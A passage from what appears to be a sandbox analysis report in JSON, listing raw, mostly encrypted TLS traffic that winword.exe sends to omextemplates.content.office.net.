  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x8d/\\x90t\\xb9\"\\xd03u\\xc7\\x1a\\xcd\\x1d\\xff\\x17e\\xda6\\xe7%%!g2\\xd6\\x85in\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  461. },
  462. {
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x8e\\x83\\xd7l\\-\\x14w\\xdc\\xb1\\xe9\\xe0\\x11\\xba\\xf3v\\x18s\\x17i\\x88\\xbf\\xb7\\xa7'6\\xbbl\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  464. },
  465. {
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xaab\\xf2\\x88\\xc4(\\xd7\\x1fu\\xd1\\xe0\\x01\\xa5\\xe9\\x97\\xc3\\xf8t<n+\rb\\x04\\x81\\x06\\xbc\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  467. },
  468. {
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04pdx)a\\x88\\xb23\\xfem\\xff4f\\xc6\\xb4sq\\x9e>u\\xfd\\x1em\\xee@\\xe7\\x05s\\xa2\\x1e\\x03\\x81w\\x88\\x8c\r\\xc0b\\xe5q\\xf2\\x92\\xcdu\\xfb\\xf1\\x8cf}l\\x14\\xf6\\xda;u\\xcb %\t\\x82\"\\xc9[l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x01\\x9b\\x0b\\\\x04\\x98[\\x84-+\\xd1\\x9f\\x12kj\\xbf\\xd0\\xd6z\\xc2\\xf9\\xeeo=\\x03\\x12\\xf8\\x92\\xae`\nh\\xc9lc\\xe6\\xbe\\xf7\\x05\nk\\xc8~\\xba\\xd0\\x1b\\xe6\\xb2"
  470. },
  471. {
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04\\xbb%hw{k&\\x08\\xd5#\\xefr/\\xb6\\x15\\x870\\x7f/7\\x83\\xeb\\x8a\\xbf~\\x95\\x05p\\x16)\\x93\\xfb\\xbe\\x89\\xb0\\x15\\x0e .0\\xf9\\x93\\x13\\x84\n\\x8e\\x85\\xc3\\x99a\\xdbin\\xfa\\x84\\xe0\\x8d\\xb0\\x85eo\\xa0\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1e\\x1438\\x03bh\\xaf\\x86v\\xab\\xb5;\\xbf\\x9a\\x93a\\xa3\\x18\\xf1iu\\xc0\\x80\\x9d\\xb4\\xe0\\xe1\\xb7\\xcf\\xdc':\\xc2\\xcbic\\x17z\\xc5\\xd6\t\\xca\\x11\\xd8c[\\x9e"
  473. },
  474. {
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0fn\\x0c\\xab${\\x01.\\xbc\\x93\\xa9qh\\x05q\\x97\\x1f\\xb4\\xbd\\x9a!z\\xadbt\\xfc/9\\x12\\x08?\\x15\\x80\\xa0\rz\\x03`%&g\\x10\\xba\\xd2\\xf7o\\xe1\\x96\\x8f\\x89\\xb4\\xb8\\xfb\\x9f\\x82\\x1e\\x00d\\xc2\\xa9\\x90\\x96b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000}\\xf5\\xc6\\xd0\\x8c,\\x9a\\xf7\\x93yk,\\xd0ri\\xde\\x9fu\\x18k\\xf6\\xd3li16=\\xab\\xff\\x89q##\r\\xce\\xfc-\\xa7\\x15)\\x9fc\\xcd\\xc5,\\x1e,e"
  476. },
  477. {
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04c\\xe7\\xae\\x9eog\\xae)g\\xaar\\x1b\\xf9cm1\\x86?9\\x13\\xcd\\xc8\\x03ny\\x0c.b)\\xf0ho\\xd7\\xa6\\xf7q\\x979i\\x12{\\x9e\\x89c`p\\xb7\\xe9\\xeb\\xeb\\xb1\\xeb\\xc5\\xe4i\\xa5\\x11k\\xfd0\\xbb9\\x02\\x92\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe3v\\x1c\\x04<\\xf8\\xd7\\x03\\xb4\\xfc\\x84\\xfe\\x04\\x01a\\x81r<\\xc3\\xe6\\xec<\\xea\\xa2\\x00\\x83\\xb9\\xc9)\\xaey\\xab\\xd6\\x8eo7\\xcc?\\xbe\\x89\\x8c\\xe18j\\x8d3a["
  479. },
  480. {
  481. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04}\\xda\\xe8\\xaay\\x9e\\xe3\\x9d\\x12@i\\xf8w!\\x1bg\\xf5\\xc2\\x8e\\xfa\\x89\\x8e\\xa5\\x00\\xf7b8a(\\xab\\xc7?e\\xd5\\xcf\\xe1\\xf4t\\xd4\\xed\\xb0)fp\\xf7e:\\xee\\x040\\x0b\\xf2\\x05\\xb9,\\x05\\xf4b\\xd7\\xca\\x9d\\x01\\xaab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x91\\x87.\\x11\\xf5\\xfe:|\\xe8\\xbf\\x8a\\x1a3=\\x13\\xd0\\xaf\\x97$z\\xf7\\x17/j\\x85\\x03\\xac[rh\\xc9w\\xba\\x0c\\xaaz)\\x9d\\xcd\\xa5\\x8e\\x89\\x16\\x16\\xb5sbl"
  482. },
  483. {
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04b\\xe0\\xcazi\\xef\\xb75\\xd6\\xe42\\xf9\\xc3\\xdf\\x16h|\\xf68\\xce\\xeb\\x07\\x939q\\xf9t\\xfdd\\xdc(\\x028\\xac`\\xcb\\xaeb4\\x1c\\xbekx\\x0f\\xbciv\\x9a\\x8c\\xb8\\x88\\xed\\xffc)\\xa3\\x14\"&s\\xd6\\xb5j\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4j;\\x03\\x9b\tt@\\xbb]\\x89\\xe6\\xda;6\\xc9\\x8c\\xa4a\\xd3\\x8a+:t\\x10x\\x9e\\xf9>j\\xa2$*\\x08.\\x0e\\xa1\\x9b\\x1d*w^\\xe5e\\xc5\\xaft8"
  485. },
  486. {
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfb\\xa0y\\xfc\\xbe\\x8ck\\x19\nd\\xbf{\\xf3sf\\x1b'\\xef\\xda\\x11\\xc9b:\\xe6?+\\x0c\\xffy\\xa2x\\x0e\\xe1-\\xc2c\\xe8\\xb4\\xe4z\\xc3\\xf3\\x9d3\\xec\\x87\\xfe\\xba\\xa3\\x132h\\xa6m\\x14\\xec\\x8by\\x9c\\xff\\xf5\\x0e\\xfen\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe3\\xce\\x9el\\x81'\\xf4\\xd9\\xf8d@\\xfa=\\xc7,\\xbe\\xce\\x00u\\x1at\\xaa`#\\x03\t\\xae]\\xce\\x04v\\x1bi\\xa0\\x14\\xfa)e0\\x83\\xa4\\xa3\\\\x87z\\xa0\\x96\\x83"
  488. },
  489. {
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xef\\x08\\xca\\xeej\\x8b\\xf4\\xca\\xb3\\x17\\xcb\\xe5\\x93\\x0f\\x84\\xb3^\\xc71;\\xa2z\\xfe\\x1f\\xe0\\x1d\\xeae\\xb3\\xeb\\xd5q\\xc8c\\xcf\\xf1or\\x9f>\\x81\\xa0\\x08\\xea\\xa3\\xba\\xcay\\xb0dcf\\xa0rp^ef\\x002=\\xdf\\xaef\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8e#hml\\!\r,\\xae\\x17\\xa8\\xf0j*d\\xe0\\x88\\xcax\\x8d\\xe0\\x82\\x91^\\x8b\\x90p\\x84f\\xdbk\\x1e\\xef\\x14jxe>\\xdb\\xa2\\xa4\\xab/\\x02\thp"
  491. },
  492. {
  493. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\"\\xe9:/\\x03\\xde\\xf5\\x8d\\x97\\x01@\\xe8\\xfd\\x07\\xc4\\xa1\\xa0\\xf7\\xef\\xb2\\x86\\xb1\\x07\\xaa\\xbce\\xf8?\\xf4\\xfezs\\x8b\\x82\\x80\\xd4\\xb6\\x8a\n\\xc2\\xee\\x83\\xb2\\xa1\\xc7\\xf3\\x9c\\x97\\x87\\x90\\x0fi{]\\x11qr\\xc2]\\x7f\\x8f\\x12\\xcc\\xb2\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000|d6\\xda\\xf0\\xaf3!\\xfe\\x8e\\xeb\\x05\\x9a>\\xbb\\xc0\\x8c\\x9el\\x00\\xc5\\xef\\xfcn\\x0bq\\xe0\\xd0\\xba\\x06\\x84f/\\xfb;\\xe0\\xca5\\\\xe7\\x05\\x9d\\x92\\xa4\\x84c\\xbe#"
  494. },
  495. {
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf3r\\x9bqlk\\xba\\x9a\\x00lcme:v\\xe6_d\\xc3fc\\x0e\\xac\\xec\\x96\\x17\\xaf#\\x16\\xf1u\\x9b\\xdfb\\xe9\\xe7\\x13\\xe6\\x0e\\xa4j\\x03\\x0e\\xb5{\\x14\\xba%\\xc3t\\x8e\\xa5x\\xbd*\\xdcy\\xc8\\xa1\\x1b\\x03[m0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb2\\xe4\\x92u\\xdfa\\x1b\\xbf\\xeb\\x82\n\\xa2\\x08}\\xf6\\xed\\x9fn\\xfe\\x1f\\x18\\xde8g\\xdcs\\x9d{\\xf4\\xc2$q\\xfda0\\xa7\\xc4d m\\x8cf\\x94\\xa0u`\\xfe\\x8c"
  497. },
  498. {
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa978=l[\\x08\\x89`\\xb7\\xb5r\\x93b\\xa5\\xbf!o\\xb9s\\xeddlgg\\xfa\\xd6 !\\xaa \\xfd\\xff\\x06s~\\xbd\\xae\\xa4\\x14un\\x0b\\xcf5\\x06\\x93\\xef\\x13t\\xc1\\x01\\xf4\\xc6\\xfe\\xc3\\xe1\\x1ed\\xf6\\xd0\\xb9\\xe8l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000)\\x17aj\\x88\\xa5.\\xaf\\xa0d\\xa0\\xa6\\xa5\\x15<\\x1f\\xff\\x83\\xc8w\\x03(\\x90\\xd4/c\\xd8\\x1c\\xeb\\{\\xbeo\\x851\\x1df\\xb2\\xb5\\xe0\\x85\\x7f\\xb9\\x19mm\\xd0\\xc6"
  500. },
  501. {
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x07 )\\x9d\\xf3\\xeey&\\xff\\xbb\\xc4\\x98\\xa70\\xd02f/c\\x9ds\\xce\\xcd\\xa41\\x1a\\xca\\x0cw\\x9b)\\xeb\\xa1\\x08|\\x1d?\\x10r@m3gx\\x9e\\x01bsks)c\t\\x00\\x87\\xcd\\xbe\\x8d\\x86q\\xc8\\xfde[\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000'a\\x86[\\xe7\\xd2\\x05\\xff+\\xe7\\xc8\\xa5\t\\x17\\xba\\x95\\xa2w\\x9b\\xab9l\\xe8\\xb4\\xd2\\xb7\\xa0\\xe5\\x1f\\xaf\\x8bd\\x0c\\xc84p$s\\x1d\\xb7\\xb6 \\xde\\xab\\xe7\\x15\\x80\\xea"
  503. },
  504. {
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04x\\x85\\xe075\\xb3\"uzq\\xd8\\x91\\x0f\\xdc\\xc2\\xe4\\xb7\\x86\\xec\\x96\\xb3\\x08v\\xa8.u^>\\x8eva#\\x03 gxw\\x13\\xac\\x90(\\xa0:h\\xc3\\xb1\\x00\\xe5.<\\x11b\r\\xff;\\xd7\"\\xc3\\xc9\\xb7\\x8a\\xa3\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x90\\x82\\xd2\\x1e\\xc7~\\xca\\x14\\x8e\\xeax63z\\xc2fz\\xfc\\xff\\xd8c\\x87-\\xe0;fg\\x1a_\\xaa\\xde]\\xa1v_u[\\x13\\xd0\\xd7q\\xd8|n\\xee\\xed={"
  506. },
  507. {
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x00znn\\xbe\\x0f\\xeet\\xed\\x01b\\xa3\\x04\\xc6\\x9a0\\xeab\\x95f\r\\x91w\\x8dh\\xad8\\x00\\xcf\\x83w\\x02\\xd7_)\\xec\\xbcr\\xfc\\xf6j\\x9d\\xf6k\\x96\\x13d\\x9c\\xaa\\xad\\xfaz.\\x1f\\x8e\\xbd\\x8d\\xd6|'\\x88\\xfbbz\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\n\\x08s~\\xa4&\\xde\\xb4\\xea\\x1d\\xe9jeu\\x1b\r\\xd80\\xc4a\\x15\\x9d\\x04\\x05\\xdd~d\\xbb\\xd6v\\xcf\\x98+\\xd0\\xc3^\\xc9\\x80\\xd7+_\\x7f\\x97e\\xed\\xe6\\x15+"
  509. },
  510. {
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x85zh\\x0eo\\xf2\\xa5\\x1b\\xe5(h>tj\\xac\\x16z3\\xe7\\xf1\\x11d\\x92\\xdd\\xfc\\xb6\\xcc\\xc2\\xb2\\x88\t\\xc4l\\x97ma<~\\x1c\\x0fv\\x14\\x0f\\xe9`\\x98]\\xfei\\xfb0;/< \\x80\\x81\\x0ep{e\\xbbu\\x1d\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\x7f\\x84>\\xe7be}\\x8a\\xb8\\x9f\\xa4\\xae\\xb2\\xcf$\\xa1m\\x03u\\xa5\\xb9 \\xde\\xcc\\xd5r41l~e\\xd1{(nb-\\xe6\\xa5z(\\xd0\\xa5^\\xd69\\x1a"
  512. },
  513. {
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xab\\xdb\\xb0\\xb5\\c_05\\xed\\x84*\\xee\\x17^\\xdb\\xb54\\x12rla,\\xbb+#\\xd8`\\x18\\x0ey\\x10\\xc4\\x17`\\xeb+\\xb1n\\xf7\\x86\\xa2%z\\x01\\xf1x\\xf9\\xcf\\xb3\\xd0\\xbb\\xbc\\xe0\\xc1:\\x0c\\x10\\xf3|\\xbd@[&\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x92,\\xa3\\xb2q\\x13\\xe3\\xe9\\x9c\\xbb\\xfe\\x84er@\\x99\\xf9\\xba(wi\\xa1\\xd7\\xfcn\\xeb\\x80\\x11st\\x9f\\x15;\\x0ct\\xf3\\xbd\\x82\\x16{b\\xeeb\\xbd`\\xe9\\x942"
  515. },
  516. {
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x91\\x02\\xbbk\\x01\\xbe\\x04\\xac\\xd4\\xb5-\\x0c\\xf9dadk6\\x9f\\xe1\\xfa\\x87\\xa6_d\\x8e;\\x9f<\\x83<\\xbe\t\\xde\\xa1\\xcb\\xe5\\xb2'\\xc6#\\xdcgz%ha\\xf9\\xa9\\x1a\\xa3\\xbb\\xb4_\\xee\\x90jj\\xdf&mt\\x89\\x15\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000fz\\xa9d\\xf4\n\\x8dw\\x1e\\x8b-\\x10\\xb2\\xbfhq\\xa5_\\x95d\\xc7\\xa7\\xa9st\\xcb\\xe9#\\x8a\\x81\\xd1\\x1b\\xe0*marx\\xfc\\xe2\\x16\\xf4b\\x15\\x1d]l\\x7f"
  518. },
  519. {
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04>d\\xb33xxz\\xa3\\xde\\xbf\\x91&^<\\xd3\\xaf\\xce\\x00\\xc7\\x08ve\\x04t\\xdf\\xc7\\x0e\\xae5\\x13\\xe3\\x06x\\xd5;1<\\xb0t\\x19)$b\\x86\\xf3\\x0f4\\xcd\\xb1q6\\xe2\\xce1\\x19\\x13\\xf2tm\\xb9\\xca\\xf4\\xf3\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c$mw`\\xa4@\\xaem\\xc2\\xec#\\x99\\xe2\\x7fc,\\xa8f9\\x93\\x90j\\x98\\\\x10wh\\x9d\\x07\\xbdr\\xec=![\\xf0\\xfb\\xfd\\x1d\\xbd\\x1e\\x92j\\xf5d\\xae\\x01"
  521. },
  522. {
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0f\\xce\\xec\\x81\\xd6\\x86\\xe4_\\xf3\\xe4\\x04\\xfa\\x99.\\xeb\\x8d\\x9f\\xbd84g\\x8f \\xc4$q\\xf6\\xcc8\\xc7\\x19f\\xfa\\xa6<\\xbcvkh\\x15[\\xba\\xa3\\xcd\\xb9\\xb3`\\xb2j}\\x94\\xde\\xfd\\xc9\\xc1u\\xca\\x1c\\xd3`\\x9c\\xbe\\x16\\xab\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfc\\x82qi\\x14\\xe8\\x07\\x91)\\x84\\xc6\\x1d\\xb6\\x0fd\\x03us\\xd7t\\xdae\\x9d\\xc3\\xa8\\xb57\\x15\\xb2\\x81\\\\xd4\\xf5\\x9d\\xb4\\x98\\xb1l\\x00\\x9am\\xd3v\\x0fm\\x7f\\xe6\\xef"
  524. },
  525. {
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x95_\\x0b\t7\\xa5[+3\\xaej\\xdc<\\x92\\x84\\xca4 ?\\x0b\\x9fc\\x1f\\xc7\\x1a\\xa4o\\x7f\\xafe\\xb3\\x91c\\x81j{\\xa2\\xc5\\xb3\\xf8q\\xa1j\\xcb\\xcc\\xd4\\x02\\xdc,\\xe6\\x10\\xf39yq$\\xd3\\x1c\\xaeb\\x1e\\x15h\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\xc4 sf~\\x05m%1n\\x1d\\xe3\\xb5~\\x93n\\xae{\\xc7\\x9f\\xed0j\\x1f\\x911u:\r|\\x19\\xfc,x;\\xd2\\xad\\xbdik\\xb6\\xfcne8\\xb7\\xaa"
  527. },
  528. {
  529. "http_request": "winword.exe_WSASend_\\x02\\x05\\x01\\x00f\\x10\\x00\\x00ba\\x04mc l7j\\xdf\\x88\\xa0\\xe4\\xb4\\x97\\xebfh%\\x89\\xc8^0\\x00e|w\\x0cv{`\\xdaj\\xec\\xb7\\x01\\xbb85\\x1d8\"\r\\x863\\x90[q\\xa5\\x01\\xd3\\xde\\xb5\\x80\\x92\\xf5\\xac/\\xb1\\xdaw\\x17$\r\\xa8\\x89v\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x0c\\xa3\\xc3a\"\\xe3\\x9e\\xads\\x08\\xca\\xab>et\\xa2f\\x7f\\xa3\\x01\\x92t\\x05:\\x94[\\xef2fh\\xfe\nm\\x1e\\xfc\\x10\\xca\\x9b\\xd3z4\\x95&\\x8c\\xdd\\xe0\\x92\\x0c"
  530. },
  531. {
  532. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xabs\\xf3\\x91\\xd9!\\x16aof\\xa0){z\\x91\\x07\\x8c\\x81\\xd6vctbuzil\\xd2'\\xc3\\x11\\xc2\\x83m\\x00/\\xd6~\\xcd\\x97\\xe6\\x0fn\\xa9\\x82~\\xdc\\x8a>\\xb7\\xdc\\x16p\\xdcs\\xec\\xf2\\xd5\\xefv\\xeezde\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\x8dw\\x87\\xf9\\x82u_?\\x10\\x0c\\x9d(\\xc8\"\\x0cn> -o0q\\xc8\\x9d\\xff\\x06>j\\xa1a{ds\\x1d\\xe9hb\\xd9joa6\\x9f\\xb9\\xfa\\xaak"
  533. },
  534. {
  535. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd3%\\x9b^\\xc4\\xd2\\xf4\\x05o\\xca\\xacu*\\xce\\x88\\xdc\\xd0\\xd7\\xf1l\\x88(\\xdd\\x87\\xc6\\x90\\xb1ify\\xea\\xe1~\\xbb\\x04jz\\xc1.\\xaf\t\\xc0d\\x8a[\\xe4h\\xe4\\x80\\xcc\\x9a\\x19\\xcc\"\\x02\\xd3\\xef\\xc6=\\x94\\x81\\x83?\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xce\\xfew\\xf3\\xdan\\x0e\\x16;\"\\x83\\xc8\\xaa\\x0cyjfra\\xf6\\x19v\\xa5z<\\x1b\\x7f\\x95*\\x08\\xecf\\xfc\\x12\\xee\\x00\\xd6\\xef),\\xcf\\x82so\\xcb\\xd9&\\x82"
  536. },
  537. {
  538. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0e\\xf6s\\xc5\\xe4\\xd3\\xd5\\xcawp)d\\xb3ks\\xe2\\xe6v\\xa7\\x13\\xb8\\x80as\\xa9\\x1c~\\xcd\\x7f*~\\xa5\\xa4/\\xa5\\xe2#5u\\x03:t8<zz\\xa0;\\xad~x\\x91\\x08t\\xefso\\x9cc\\x05\\x96\\xcc\\xd00\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x11\\x06\\x85]\\x95\nib\\xbf6\\xbb\\xc6\\xb4\\xde\\x13\\x03\\xdb\\xef\\x1e\\xb9\\x1f\\x08\\x8c\\xb9\\xf2?8\\xa0\\xb8\\xb7\\xf6\\x98\\x91\\x8d\\xe4\\xfe\\x14\\xc4\\x00\\x9f\\xf8\\x1f\\x7f\\xf3.g\\xf6n"
  539. },
  540. {
  541. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc3\\x05\\xfa,\\x7f\\x0c\\x1d)\\x01si&\\x87k\\x05\\x9d$~\\xe7\\x0c\\xb4\\xa7x7cu\\xec\\xb1|e\\xbe\n\\xcf[\\xa1\\x00\\xac\\xaf\r`gr\\xd5\\x96d_\\xd5\\xca\\x8d\\xa9!\\x14gw\\x98l\\x9f\\xf6\\x0ez\\xad\\xac\\x05\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000a\\x01x\\xfdm\\xca\\xca\\x88\\x03k\\xcf3y\\xc0\\xf5p\\xbb\\xd0\\x95)r\\xcd\\x96&\\xb9\\xbb\\xb7\\x10\\x89\\xae\\x00\\xd4&ib23w<\t_;\\xfa\\xc6\\x14n!\\x97"
  542. },
  543. {
  544. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04*j\\xa0 s\\xe4\\xbb\\xe5\\xb5\\x9e\\x082\\xf3\\x19\\x98l\\x07%t\\xe5\\xe6\\x97z\\xc9n\\x0f\\xa5[\\xea\\xf8'\\x8f\\x01/\\x18|\\xfe|\\x80|:\\xfc]\\xf5\\x00\\xb3\\xcc\\xacb\\xdc\\x80\\xa4\\xc7{\\xdb\\xe3./}\\x01y\\xe8;k\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbf\\xab\\xbby\\x15s\\xb0c\\x93\\x00}o\\xea\\x11\\xd8\\x16\\xaf\\xb7\\x1e\\xb7\\xc1\\xda\\x8a\\xf7\\xad\\xf2\\xc5\\xe5\\x95^\\xbf`&gcd\\xdey\\x05\\xd4\\xbbt\\xa8\\x87l|\\xe5\\x07"
  545. },
  546. {
  547. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x82\\xcdm\\xe8u\\x96\\xd4\\x9c\\xff\\xec\\xdd\\x85\\xcb\\xd0\\xd4\\xa9\\xce\\xea\\xf8\\xfe\\xd4\\x92n;\\xcdp\n\\xe4\\x06\\\\x8c/\\xef\\xfb\\xdbc\\x94\\xa4\\x90\\x8c\\x1a\\xe6\\\\xe1v\\xb6\\xd8jl{\\xe4l7\\xb5\\x16x\\x11\\x83z\\x117d\\xb3\\xec\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a\\xf5k\\xc2\\x16\\xf2\\x8b$\\xd3\n\\xc1\\x80)\\xcdj\\xb0\\xb1\\x18|\\xda\r\\x8e\\xd5\\xd7\\x85b?\\xc4\\x97\\x97\\xa3\\xe5\\x88\\x10\\xea8r\\xfa\\xecmc\\x05v5e5\\xe3\\x0f"
  548. },
  549. {
  550. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04dc\\x8d{\\xf7\\x8a\\xbb\\x1e<?\\xd1.-(\\x1b\\x14[lj\\xb6\\xf2mt\\x9b\\xe0\n\\x0f\\xe5}\\xef;\\x17n\\xac<\\xaev[\\xd6n\\xbc\\xb3\\xd6\\xb8\\xbc\\xf7\\xfd\\xda\\xd0s\\x9f\\xc0\\xefi\\xf1\\xa7\\xf7&\\x12h\\x97\\xd0\\x14p\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeae\\xfd<\\xc1\\xb3:\\xdc\\xca\\xdf\\xce6uj\\xfb\\xaf\\xc9\\x01j\\xf6\\x11\\xab\\xfdb\\x03[\\xdd\\xc1\\xc7\\x8f\\xd7_\\x1dlh\\xe5\\xe04\\xa3\\xc6\\xcbuh\\xc9\\xb0\\xbba$"
  551. },
  552. {
  553. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd4\\xa4\\x89\\x84n\\xaf\\xe7t\\xf7\\xef,\\x1f\"\\xf7\\x1e\\xc3dp\\x9a\\x87w\\xe8\\x03\\xbd3\\xd5y\\xa2b\\x97\\x94\\xf1m[\\xb5u{\\x82\\xc1nvlhz\\xe1\\xfa\\xcdq\\x17@\\xab)\\x00i\\xd0\\x8cm\\x82\\xf8\\x03m\\xa4)\n\\xedb\\xc4\\xa7\\x82.$\\x9a\\xb5\\xa6\\x84\\xe1\\x99)\\xb1]q\\x00\\xec\\xf8\\xfce\\x0b}\\xe50llr\\xb3\\xfd \\xf1\\xbb\\xe5d\\xbd\\x8f\\x83\\xa6\\x14k\\xa8tv\\xd5\\x8f\\xf9\\x13\\xe3^9\\x13\\xaad\\xc7\\xb8|\\x99\\xc9\\xa6\\xfb\\xd8\\xd2\\x96p\\xeaw\n\\x1d\\x94\\xeb\\x1b\\x9ah\\x1d,\\xd6\\x9a\\xc4\\x86\\xc4\\x00o%j\\xab\\x14\\xc2\\x06n{\\xbdl\\xe3\\xfaq\\x11\\x88\\xc3yr\\xc4\\xda\\xe5+n\\xfd/g\\xe9z+y0hg\\x8d\\xf8y\\xf1\\xe2ib\\x96j\\x8d4\\x14\\x1f\\xf2\\xb5\\xe3$^{\\x18\\xa4\\xe0\\xd5\\xfeq\\xc7\\x9a%\\xf5\\x95x\\xef\"8&\\xc5\\xf9uzg\\x07\\xbb\\x96\\x80\\x0clt\\xe6a\\x9c\\xf4\\xdfad\\xcad&n\\xab2\\x81\\xba/p\\xb2\\x1cm\\xb9\\xe8\\xf2"
  554. },
  555. {
